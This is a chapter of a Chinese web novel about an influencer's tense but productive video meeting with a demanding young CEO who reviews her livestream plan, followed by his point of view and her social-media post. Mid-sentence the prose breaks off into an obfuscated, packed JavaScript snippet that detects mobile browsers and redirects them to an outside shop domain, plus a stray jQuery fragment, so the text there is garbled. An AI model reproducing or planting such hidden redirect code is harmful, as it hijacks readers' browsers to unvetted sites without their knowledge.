沈圆钰其实有点惊讶。
因为镜酌然和她想象中的样子很不一样。
大概是因为昨晚经纪人的描述给她留下的印象太深，她当时下意识认为，能被业内人士这么郑重提醒的老板，多少该是个更有年龄感的人——起码头发要更稀疏，下巴更圆润一点才对嘛。
可屏幕对面的男人显然和她想象中大相径庭。
很年轻。
甚至看起来不像已经坐到一家头部公司最高位置上的人，更像是刚毕业不久就事业有成的年轻高管。
他袖口露出的腕骨线条干净利落，衬衫领口没有系到最上面一颗，松散之余却并不随意。头发没有刻意打理，任由几缕碎发落在眉骨附近，反而衬得那双眼睛更深。
沈圆钰一边听他说话一边不自觉地多看两眼，几番打量后最终得出结论：
这人长得很好看。
但绝不是那种让人第一眼就觉得亲近的类型。
眉眼偏冷唇线平直，加上他说话时几乎没有多余的表情，整张脸都带着一种过分克制的疏离感——不笑的时候尤其明显，像是和他之间隔着层清透的玻璃，能看清他的长相却摸不清他的思绪。
尤其是此刻。
镜酌然根本没有任何要跟她寒暄的意思。他的视线大部分时间都停留在手里的方案上，偶尔抬起来，目光也直接越过镜头落在某个不算具体的方向。
甚至他刚才那句“第二组用户数据的来源是什么”，也问得平淡又直接。像是这不是他们的第一次见面，而是已经在这个问题上讨论过多次一样。
原本准备好的那套标准社交话术顿时失去用武之地，沈圆钰眨眨眼，意外地没有半点抵触，甚至有点开心。
她本来也不是那种喜欢在工作上绕太多弯子的人。
低头看了眼自己的方案，再抬眼时，她脸上的笑意淡了些。平时视频里常见的甜软亲和力被收回去些许，取而代之的，是一种不自觉的认真——嘴角还微微翘着，但眼神却多了几分坚定。
就连她开口时的语气，也变得比刚才更短促清晰：“数据来源是平台公开数据，和我账号过去六个月的后台用户画像。”
镜酌然这才真正抬眸看向她。
像是没有预料到对方的状态会切换得这么快，以至于他的视线在她脸上短暂停留，像是在确认某种判断。
明明几秒前的笑还带着种社交式无害的甜感，此刻整个人却变得干脆利落。她的目光直视镜头没有任何闪躲，也没有多余的笑意作为装饰，整个人看起来比平日里要冷上几分。
镜酌然落在她脸上的目光没有移开：
“拆开讲。”
“好。”沈圆钰把手边的咖啡推远，“平台数据只能看整体，我自己的受众和同赛道还是有区别，所以我重新拆过一次。”
镜酌然没有打断她。只是偶尔垂眸看一眼方案，偶尔又抬眼看她，点头表示自己在听。
沈圆钰继续说下去，动作利落地翻过一页，不带多余的停顿：
“这次合作的是品牌年度旗舰系列，客单价不低。如果只讲参数，我不如专业测评博主，观众也没必要专门来看我。她们愿意来看是因为信任我，默认我已经筛过一圈选品。所以重点不在于东西有多厉害，而是为什么我会让它出现在我的生活里。”
镜酌然没有立刻接话。原本落在方案上的视线重新抬起，在镜头对面的人脸上多停两秒，神情比方才更认真。
随后，他垂眸在方案上划掉原本标记的一处内容：“这一段逻辑没问题。”
沈圆钰眉梢很轻地挑了下。
从会议开始到现在，这是她第一次从这位镜总嘴里听到如此肯定的答案，嘴角不自觉地上翘几分——然而这点难得的轻松仅维持不到三秒，就被下一句话打破了：
“但第四页不行。”
“……”
很好。
她就知道。
悄悄撇撇嘴，手上的动作倒是诚实地拿起笔来准备记下，沈圆钰低头翻到第四页：“哪里？”
“前面的说服逻辑建立在生活方式和长期信任上，到了第四页，你又开始强调最低价和限时抢购。”
镜酌然抬眼淡淡地对上镜头对面那双圆润的眼睛，语气平淡：
“前后冲突。”
“我的考虑是，大促节点大家本来就有价格预期，而且这不是平台直播常用话术嘛。”无意识歪头做思索状，沈圆钰态度诚恳，倒是没有半点不悦。
“有价格预期不代表你要把它放到最前面，你的优势不在价格上，”镜酌然语气平淡，没有全盘否认她的观点，但也毫不犹豫地指出其中的问题，“而且那些常用话术也不是你的风格，不适合你。”
沈圆钰没有立刻反驳。她的笔停在纸上没有继续动作，似乎是被对方的话戳中什么，安静几秒才缓缓点点头。
她承认镜酌然说得对。
而且其实这点她昨天晚上也犹豫过，只是当时不太确定甲方的偏好，所以决定都保留下来看对方的反馈再进行调整。
但她心底也冒出一个很小的疑问来：
镜酌然怎么知道她的风格？听对方这个笃定的语气，倒像是把她的直播翻来覆去看了好几遍才定下的结论。
虽说合作前基础了解是必备的，可她正经直播的次数本来就不是很多，其中多半还是深夜临时开播和老粉聊聊近况——所以真要了解她正经直播时的风格，起码得往前翻很久的录播内容才行。
这人真的会亲力亲为到这种程度吗？
心中带着好奇的沈圆钰没有深究这个问题，因为在接下来的二十分钟里，她终于彻底理解经纪人昨天那“难搞”的评价到底是什么意思。
她觉得和镜酌然开会有一种青春永驻的感觉——和他开会总能让人产生一种在参加毕业论文答辩的错觉。
非常富有青春的气息。
甚至连给镜酌然的推广词她都想好了：
【想找回你的青春吗？来和镜总开会吧！】
但让她无法反驳的是，这人挑出来的毛病没有半点故意找茬的意思，也没有彰显其自身优越的目的。他挑出来的问题都是确实存在的，而且都紧抓要点。
他不用“我感觉”、“我觉得”这种表达方式，会把每一项都说得非常清晰；没有高高在上的指点也没有刻意的迎合，只是很平淡很直接地把问题摆在你的面前。
沈圆钰原本还犹豫要不要解释一两句自己的出发点。
但在发现对方对她的内容风格显然比她预想中要熟悉得多，索性直接边听边改，笔尖不住地在纸上移动，时而点头表示自己在听，时而又微微蹙眉停下思考。
她不是那种被别人指出问题下意识就觉得对方在否定自己的人，也不会立刻就反驳其观点——有道理就听，没道理再说。
就这样又过了十几分钟，镜酌然终于翻到方案最后一页，给出了他的最终评价：
“整体不用重做。”
沈圆钰一瞬间觉得对方的声音宛如天籁。
“第四部分稍微调整一下就可以，还有，你的直播节奏不需要全都按照脚本走。”
“为什么？”沈圆钰对镜酌然的这话有点意外——毕竟他们才第一次接触就直接给开这么大权限，这突如其来的信任给她砸得一怔。
“你临场比照稿自然，”镜酌然说得很随意，像是这只是一个不值一提的观察结果，“我看过你以前的直播。”
“......您看过？”
“签约前做过内容评估。”
还挺亲力亲为的嘛。
心理稍有意外但很快被压了下去，沈圆钰完全没有深想其中的疑点，但还是没忍住顺嘴多问一句：
“那您觉得怎么样？”
这确实只是她好奇的随口一句，本来并没有指望对方会真的回答这个问题。毕竟大多数人都会敷衍一句“挺好的”一笔带过。
可没想到镜酌然竟然真的停下来仔细想了想才给出答案：“你的镜头感很好，节奏也不错，直播的整体观感很好。”
沈圆钰的嘴角刚准备弯起来，身后并不存在的尾巴都快开始得意摇起来了。
“但直播意识一般。”
“……”
彳亍。
对于这突然的转折她竟然毫不意外——能够得到夸奖她就已经很知足了，毕竟对面这位镜总看起来就像是极其理性之人，所以给出的评价肯定是真实客观的嘛。
而对面的人仿佛完全没有察觉到她表情的变化，也并不觉得自己的话有什么问题：“你直播的时候容易忘记控场，话题跑远后有时候十几分钟都在聊和主题无关的内容。”
“……”
沈圆钰欲言又止，沉默将手中的笔放下，无意识撅了下嘴无辜地看向镜头，决定委婉地为自己进行辩解：“镜总。”
“嗯？”
“那种叫陪伴感，”
她说这话的时候脸上表情格外认真，像是真的在捍卫什么重要的东西，又像是在佯装正经开着玩笑，“我的观众们喜欢我直播的一部分原因，就是我会跟她们聊一些日常的生活琐事。”
隔着屏幕看了她几秒仔细辨认无果，镜酌然挑挑眉，眼中的好奇一闪而过：“所以你认为无效内容也是有效内容。”
沈圆钰差点被这句总结噎住。
“......也可以这么理解。”
“可以，但要有边界。”
这下轮到沈圆钰惊讶了。而对方此刻已经重新低下头翻阅手中的文件，语气平静到让她产生一种两人是在谈论天气的错觉。她不自觉放松一些，歪歪头问道：“比如？”
“你可以闲聊，但要知道自己什么时候需要回到正题，”他把手里的笔放下，“观众喜欢你漫无目的地聊天，但品牌不会为完全不可控的内容买单。”
沈圆钰没有立刻接话，她只是低头在纸上写了行字，期间还停顿一瞬，像是在思考措辞。
视线扫过她低头写字的动作，镜酌然眉毛微微上挑：
“你在自己记修改意见？”
“嗯？对呀，”
抬头的眼神因为眼型原因看起来有些无辜，沈圆钰说得理所当然，语气里没有任何刻意表演的成分，“经纪人记的是她要调整的部分，我记我自己的。毕竟最后上播的人是我嘛。”
镜酌然没有立刻接话。他视线在她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962268|214353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脸上多停一拍又移开，很轻地“嗯”了一声。但当他再次低头看向手里的方案时，原本只是例行评估的态度已经不知不觉间更加认真。
签约前他确实看过她的账号内容。
而且不算少。
最开始确实只是项目评估需要。他随手点开几条数据表现最好的内容，看完之后没忍住又往后面翻了几页。
她的镜头感很好，内容稳定有趣；并且从数据上来看，她的粉丝黏性极高，商业数据也漂亮得几乎挑不出什么问题。
所以他当时对她的判断很简单：
成熟的内容创作者，商业价值很高，值得公司投入更多资源。
仅此而已。
可真正聊过以后，他忽然觉得自己之前的评价似乎过于单薄了。
沈圆钰是非常清醒的。
她很清楚自己为什么能红——她知道自己的观众们喜欢什么，愿意在这上面花更多的心思；但也同样知道哪些东西是她不能为了商业化而轻易改变的。
方才的沟通当中，她对于他的意见并没有盲目顺从。听的时候很专注，被指出问题也并不急着反驳。但真碰到她认为不合理地方的时候，又不会因为对面坐着的是他就顺着点头。
而且她不拿“我感觉”当依据。
想到这，镜酌然重新看她一眼。
屏幕中的人正在低下头继续写东西，刚才认真工作时那种干净利落的冷感又回来了，和她几分钟前一本正经替自己的“陪伴感”辩解时的样子完全不同。
那时候的她眼睛倒是亮得很，表情生动得让她整个人看起来像某种毛茸茸的小动物。
这个念头在脑海中停留不过一瞬。
镜酌然很快重新把注意力放回手里的文件，只是心中原先关于她的那个评价，被他悄无声息地加了一点：
很聪明。
比他预想中要有意思得多。
想到这，他翻过手里文件的最后一页：“还有一个问题。毕业以后什么时候回国？”
“如果学校这边顺利，大概三周。”
“确定？”
“80%吧？主要是洋人的效率问题您也知道嘛，所以我也不敢打包票。”沈圆钰说到这话时没忍住无奈笑了下。
“回国第一周留两天出来，做个线下直播测试，”点点头，他翻了下日程表，“正式商务之前确认一下你的各方面能力，方便做进一步调整。”
“可以，具体时间让经纪人跟我对就好。”
“嗯。”
见镜酌然合上文件，沈圆钰下意识以为会议终于结束，脸上标准的职业微笑已经提前就绪，却在下一秒又见对方开了口：
“还有。”
“……”努力控制住自己的表情，她心中双手合十虔诚祈祷，“您说。”
“第四页今天改完发我。”
“今天？”她看了眼时间。
“有问题？”
“......没有。”
笑容看起来和平日里的没什么区别，但只有她自己知道其中多少沾点苦涩的意味。但不知道是不是她的错觉，对方看她的目光似乎多停留半秒：
“辛苦。”
“应该的应该的，”突如其来的客气反倒让她有点不适应，沈圆钰一瞬间以为对方是在说反话，试探性地确认，“那镜总，您还有其他问题吗？”
“没有。”
她松了口气。
表面保持着完美的职业微笑和对方道谢与道别，在电脑屏幕暗下去的瞬间，她长舒一口气缓缓陷进椅背，感觉自己宛如奶油般缓缓瘫软化开。
安静地盯着天花板发呆许久，她这才缓缓摸出手机找到和经纪人的聊天框：【你昨天说他难搞。】
对面几乎秒回：
【？】
【怎么了？】
低头看了眼自己写得满满当当的修改意见——整整一页纸，密密麻麻写着她的笔记和批注——沈圆钰面无表情地打字，手上的力道不自觉加重几分：
【你说保守了。】
消息发出去没多久，对面就回了一长串毫不留情的哈哈哈。
回了个小狗叹气的表情包，她随后切出聊天框，发了个朋友圈：
【致敬传奇甲方^^;好消息，他说得都对:)坏消息，他说得都对:(】
发送。
把手机随意往桌上一扣，她深吸一口气又呼出，顿时觉得心情舒畅不少。
而十分钟后的国内，在镜酌然刚坐进下一场会议室准备听下属汇报情况时，他放在桌边的手机忽然连续震了两下。
他点进去看具体内容，发现是共同好友发的一条消息附加一张朋友圈截图：
【你今天是不是跟她开会了？】
镜酌然垂眸随手点开那张截图内容，熟悉的头像落进他视线的同时，那条朋友圈的具体内容也得以呈现：
【致敬传奇甲方^^;好消息，他说得都对:)坏消息，他说得都对:(】
“……”
镜酌然盯着最后那句话看了两秒，随后他垂下眼，手指落在键盘上。输入框里的文字出现又消失。
最后，那里只剩下一个字。